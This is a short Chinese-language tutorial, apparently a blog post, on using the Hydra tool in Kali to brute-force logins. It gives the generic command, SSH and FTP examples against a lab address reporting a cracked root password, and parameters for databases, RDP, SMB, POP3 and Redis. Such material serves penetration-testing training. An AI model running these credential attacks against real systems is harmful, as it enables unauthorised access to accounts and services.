目录

前言

查看帮助

​编辑

ssh暴力破解

ftp暴力破解

总结

mysql数据库爆破，参数为mysql

mssql数据库爆破，参数为mssql

oracle数据库爆破，参数为oracle

pgsql数据库爆破，参数为postgresql

远程桌面爆破，参数为rdp

samba爆破，参数为smb

邮箱爆破，参数为pop3

redis爆破，参数为redis

---

前言

kali自带的hydra暴力破解工具（九头蛇）能够在多种协议上执行暴力破解，支持的服务包括但不限于FTP、Telnet、Rlogin、SSH、HTTP、HTTPS、SOLO、IMAP、POP3、VNC和SQL

hydra工具没有自带字典，需要自己指定字典，可以在网上下载合适的字典。hydra暴力破解能否成功取决于使用的字典是否强大以及服务端防火墙策略。

用法基本一致：

hydra -L user.txt -P password.txt 目标地址 服务

注意用户名和密码字典的路径应该是绝对路径或者直接在字典所在目录下执行命令。

---

查看帮助

hydra -h

---

ssh暴力破解

hydra -L user.txt -P passwd.txt ip地址 ssh

hydra -L user.txt -P passwd.txt 192.168.100.130 ssh

结果显示成功爆破出ssh登录用户root和登录密码123

---

ftp暴力破解

hydra -L user.txt -P passwd.txt 目标地址 ftp

hydra -L user.txt -P passwd.txt 192.168.100.130 ftp

爆破结果中，可以看到ftp的用户名和密码。

---

总结

hydra的基本用法都是这样

hydra -L user.txt -P password.txt 目标地址 服务

只需要将服务换成需要爆破的服务就行了

mysql数据库爆破，参数为mysql

mssql数据库爆破，参数为mssql

oracle数据库爆破，参数为oracle

pgsql数据库爆破，参数为postgresql

远程桌面爆破，参数为rdp

samba爆破，参数为smb

邮箱爆破，参数为pop3

redis爆破，参数为redis

---

---